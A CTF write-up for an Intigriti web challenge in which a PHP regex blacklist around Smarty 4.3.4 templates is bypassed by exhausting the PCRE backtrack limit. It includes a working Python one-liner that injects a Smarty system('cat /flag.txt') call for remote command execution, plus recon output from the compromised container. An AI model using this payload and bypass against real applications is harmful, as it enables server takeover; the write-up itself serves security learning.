- Category: Web
- Impact: Medium
- Solves: 13
Find the flag.txt
file.
The solution:
- Should retrieve the flag.txt from the web server;
- Should not use another challenge on the intigriti.io domain;
- The flag format is
INTIGRITI{.*}
.
Skipping the November challenge since there was the 1337UP CTF
so for this December month, we have a web challenge page that allows us to submit data:
<!DOCTYPE html>
<html lang="en">
<head>
<title>Smarty Pants</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-T3c6CoIi6uLrA9TneNEoa7RxnatzjcDSCmG1MXxSR1GAsXEV/Dwwykc2MPK8M2HN" crossorigin="anonymous">
</head>
<body class="container mt-4">
<div class="alert alert-danger" role="alert"><strong>ERROR:</strong> Malicious Inputs Detected</div>
<p>You want the flag?</p>
<p>You must beat my regex filter first <code>/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s</code></p>
<p>Smarty Version: 4.3.4</p>
<form method="post">
<div class="mb-3">
<label for="data" class="form-label">Template:</label>
<textarea class="form-control" rows="6" id="data" name="data"></textarea>
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
<p><a href="/challenge.php?source">view source</a></p>
</body>
</html>
We also have access to the challenge's php source code link:
<?php
if (isset($_GET["source"])) {
highlight_file(__FILE__);
die();
}
require("/var/www/vendor/smarty/smarty/libs/Smarty.class.php");
$smarty = new Smarty();
$smarty->setTemplateDir("/tmp/smarty/templates");
$smarty->setCompileDir("/tmp/smarty/templates_c");
$smarty->setCacheDir("/tmp/smarty/cache");
$smarty->setConfigDir("/tmp/smarty/configs");
$pattern = "/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s";
if (!isset($_POST["data"])) {
$smarty->assign("pattern", $pattern);
$smarty->display("index.tpl");
exit();
}
function check_data($data) { // returns true if data is malicious
global $pattern;
return preg_match($pattern, $data);
}
if (check_data($_POST["data"])) {
$smarty->assign("pattern", $pattern);
$smarty->assign("error", "Malicious Inputs Detected");
$smarty->display("index.tpl");
exit();
}
$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST["data"]);
fclose($handle);
$just_file = end(explode("/", $tmpfname));
$smarty->display($just_file);
unlink($tmpfname);
During the 1337UP CTF
identical Smarty PHP
challenge, a patched /s
was missing at the end of the regular expression allowing newline brace brackets usage:
You must beat my regex filter first /(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/
Therefore, we don't have to look hard to finish it in a funny way.
Since the updated code uses the preg_match
function to perform a blacklist check and that the used PREG_BACKTRACK_LIMIT
value is set to 1 million by default to prevent Denial-of-Service
via Regular Expression,
We can still exhaust this Perl Compatible Regular Expressions
limit to make preg_match
returns false
in order to execute any command we want.
Here a Python oneliner
to get the /flag.txt INTIGRITI{7h3_fl46_l457_71m3_w45_50_1r0n1c!}
value:
python -c"print(__import__('requests').post('http://challenge-1223.intigriti.io/challenge.php',{'data':'{system(\'cat /flag.txt\')}'+'A'*int(1e6)}).text[:44])"
There was other interesting data on the challenge machine:
# $ uname -a
"Linux challenge-1223-8569d484bf-cmrw5 5.15.0-1037-gke #42-Ubuntu SMP Thu Jun 22 03:18:20 UTC 2023 x86_64 GNU/Linux"
# $ ls -lna /
total 76
drwxr-xr-x 1 0 0 4096 Dec 14 13:58 .
drwxr-xr-x 1 0 0 4096 Dec 14 13:58 ..
drwxr-xr-x 1 0 0 4096 Nov 15 2022 bin
drwxr-xr-x 2 0 0 4096 Sep 3 2022 boot
drwxr-xr-x 5 0 0 360 Dec 14 13:58 dev
drwxr-xr-x 1 0 0 4096 Dec 14 13:58 etc
drwxr-xr-x 2 0 0 4096 Sep 3 2022 home
drwxr-xr-x 1 0 0 4096 Nov 15 2022 lib
drwxr-xr-x 2 0 0 4096 Nov 14 2022 lib64
drwxr-xr-x 2 0 0 4096 Nov 14 2022 media
drwxr-xr-x 2 0 0 4096 Nov 14 2022 mnt
drwxr-xr-x 2 0 0 4096 Nov 14 2022 opt
drwxr-xr-x 1 0 0 4096 Nov 14 2022 usr
drwxr-xr-x 1 0 0 4096 Nov 15 2022 var
drwxr-xr-x 1 0 0 4096 Nov 15 2022 sbin
drwxr-xr-x 2 0 0 4096 Nov 14 2022 srv
dr-xr-xr-x 260 0 0 0 Dec 14 13:58 proc
dr-xr-xr-x 13 0 0 0 Dec 14 13:57 sys
drwx------ 1 0 0 4096 Dec 14 13:57 root
-rw-r--r-- 1 0 0 44 Dec 14 13:56 flag.txt
-rw-r--r-- 1 0 0 235 Dec 14 13:56 start.sh
drwxrwxrwt 5 0 0 120 Dec 15 20:11 run
drwxrwxrwt 5 0 0 120 Dec 15 20:11 tmp
# $ ls -lna /var/www/html/
total 24
drwxrwxrwx 1 33 33 4096 Dec 14 13:58 .
drwxr-xr-x 1 0 0 4096 Dec 14 13:57 ..
drwxr-xr-x 2 0 0 4096 Dec 14 13:57 resources
-rw-r--r-- 1 0 0 1097 Dec 14 13:56 challenge.php
-rw-r--r-- 1 0 0 3311 Dec 14 13:56 index.php
# $ cat /start.sh
mkdir -p /tmp/smarty/templates /tmp/smarty/templates_c /tmp/smarty/cache /tmp/smarty/configs
chmod 777 /tmp/smarty/templates /tmp/smarty/templates_c /tmp/smarty/cache
mv /var/www/html/index.tpl /tmp/smarty/templates/
apache2-foregroundapache2-foreground
Prefer the filtering if
matches to validate data than to reject them, with better (limit) restrictions.
It was nice to review a nice trick!